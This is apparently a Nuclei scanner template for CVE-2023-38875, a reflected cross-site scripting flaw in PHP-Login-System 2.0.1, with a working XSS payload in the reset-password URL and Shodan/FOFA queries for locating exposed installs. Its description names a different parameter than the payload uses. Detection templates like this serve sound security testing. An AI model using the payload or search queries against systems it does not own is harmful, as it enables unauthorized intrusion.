id: CVE-2023-38875

info:
  name: PHP Login System 2.0.1 - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
    msaad1999's PHP-Login-System 2.0.1 contains a reflected cross-site scripting caused by unsanitized input in 'validator' parameter in /reset-password, letting remote attackers execute arbitrary JavaScript in a user's browser, exploit requires attacker to craft malicious URL
  impact: |
    Attackers can execute arbitrary JavaScript in users' browsers, potentially stealing cookies or session tokens.
  remediation: |
    Implement proper input validation and output encoding for the 'validator' parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38876
    - https://github.com/dub-flow/vulnerability-research/tree/main/CVE-2023-38875
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-38875
    cwe-id: CWE-79
    epss-score: 0.00824
    epss-percentile: 0.53795
    cpe: cpe:2.3:a:msaad1999:php-login-system:2.0.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: msaad1999
    product: php-login-system
    shodan-query: http.html:"klik_loginsystem"
    fofa-query: body="klik_loginsystem"
  tags: cve,cve2023,xss,php-login-system

http:
  - method: GET
    path:
      - '{{BaseURL}}/reset-password/?selector=test"><script>alert(document.domain)</script>&validator=test'

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "test\"><script>alert(document.domain)</script>", "Embeddable PHP Login System")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100dd1e135d9a1dd9c7e90dea3ed35d6ea168698061868106dd05539633b6a67612022100dbb1d1f8dd0f67013b4821817a23f301d4f7f64c460e30693f33ffb1c6e6aec5:922c64590222798bb761d5b6d8e72950